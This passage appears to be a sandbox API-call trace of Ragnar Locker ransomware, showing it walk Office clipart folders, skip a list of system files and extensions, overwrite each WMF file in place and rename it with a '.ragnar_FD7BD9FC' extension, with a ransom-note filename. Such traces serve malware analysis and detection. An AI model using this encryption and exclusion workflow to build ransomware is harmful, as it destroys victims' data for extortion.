lpString2="ntldr") returned -1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", lpString2="ntuser.dat") returned -1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", lpString2="ntuser.dat.log") returned -1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", lpString2="ntuser.ini") returned -1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", lpString2="thumbs.db") returned -1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.904] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0084.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.904] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1268) returned 1 [0084.905] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.905] GetProcessHeap () returned 0x580000 [0084.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.905] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.906] VirtualAlloc (lpAddress=0x0, dwSize=0x4f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.907] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f4, lpOverlapped=0x0) returned 1 [0084.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.907] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.907] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f4, lpOverlapped=0x0) returned 1 [0084.907] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.907] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.907] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.907] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.907] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.907] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.908] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.908] GetProcessHeap () returned 0x580000 [0084.908] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.908] CloseHandle (hObject=0xf4) returned 1 [0084.908] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" [0084.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ragnar_FD7BD9FC" [0084.908] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.909] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0084.909] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.909] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152694.WMF" | out: lpString1="J0152694.WMF") returned="J0152694.WMF" [0084.909] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned=".WMF" [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="autorun.inf") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="boot.ini") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="bootfont.bin") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="bootsect.bak") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="bootmgr") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="bootmgr.efi") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="bootmgfw.efi") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="desktop.ini") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="iconcache.db") returned 1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="ntldr") returned -1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="ntuser.dat") returned -1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="ntuser.dat.log") returned -1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="ntuser.ini") returned -1 [0084.909] lstrcmpiW (lpString1="J0152694.WMF", lpString2="thumbs.db") returned -1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.909] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0084.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.910] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1348) returned 1 [0084.910] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x53b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.910] GetProcessHeap () returned 0x580000 [0084.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.910] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.912] VirtualAlloc (lpAddress=0x0, dwSize=0x544, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.912] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x544, lpOverlapped=0x0) returned 1 [0084.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.912] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x544, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.912] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x544, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x544, lpOverlapped=0x0) returned 1 [0084.912] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x544, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.912] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.913] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.913] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.913] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.913] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.913] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.913] GetProcessHeap () returned 0x580000 [0084.913] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.913] CloseHandle (hObject=0xf4) returned 1 [0084.913] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" [0084.913] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ragnar_FD7BD9FC" [0084.913] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.914] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0084.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.914] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152696.WMF" | out: lpString1="J0152696.WMF") returned="J0152696.WMF" [0084.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned=".WMF" [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="autorun.inf") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="boot.ini") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="bootfont.bin") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="bootsect.bak") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="bootmgr") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="bootmgr.efi") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="bootmgfw.efi") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="desktop.ini") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="iconcache.db") returned 1 [0084.914] lstrcmpiW (lpString1="J0152696.WMF", lpString2="ntldr") returned -1 [0084.915] lstrcmpiW (lpString1="J0152696.WMF", lpString2="ntuser.dat") returned -1 [0084.915] lstrcmpiW (lpString1="J0152696.WMF", lpString2="ntuser.dat.log") returned -1 [0084.915] lstrcmpiW (lpString1="J0152696.WMF", lpString2="ntuser.ini") returned -1 [0084.915] lstrcmpiW (lpString1="J0152696.WMF", lpString2="thumbs.db") returned -1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.915] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0084.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.916] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7320) returned 1 [0084.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.916] GetProcessHeap () returned 0x580000 [0084.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.916] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.918] VirtualAlloc (lpAddress=0x0, dwSize=0x1c98, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.918] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c98, lpOverlapped=0x0) returned 1 [0084.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.919] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c98, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.919] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c98, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c98, lpOverlapped=0x0) returned 1 [0084.919] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.919] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.919] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.919] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.920] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.920] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.920] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.920] GetProcessHeap () returned 0x580000 [0084.920] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.920] CloseHandle (hObject=0xf4) returned 1 [0084.920] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" [0084.920] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ragnar_FD7BD9FC" [0084.920] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.920] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0084.921] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.921] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152698.WMF" | out: lpString1="J0152698.WMF") returned="J0152698.WMF" [0084.921] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned=".WMF" [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="autorun.inf") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="boot.ini") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="bootfont.bin") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="bootsect.bak") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="bootmgr") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="bootmgr.efi") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="bootmgfw.efi") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="desktop.ini") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="iconcache.db") returned 1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="ntldr") returned -1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="ntuser.dat") returned -1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="ntuser.dat.log") returned -1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="ntuser.ini") returned -1 [0084.921] lstrcmpiW (lpString1="J0152698.WMF", lpString2="thumbs.db") returned -1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.921] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 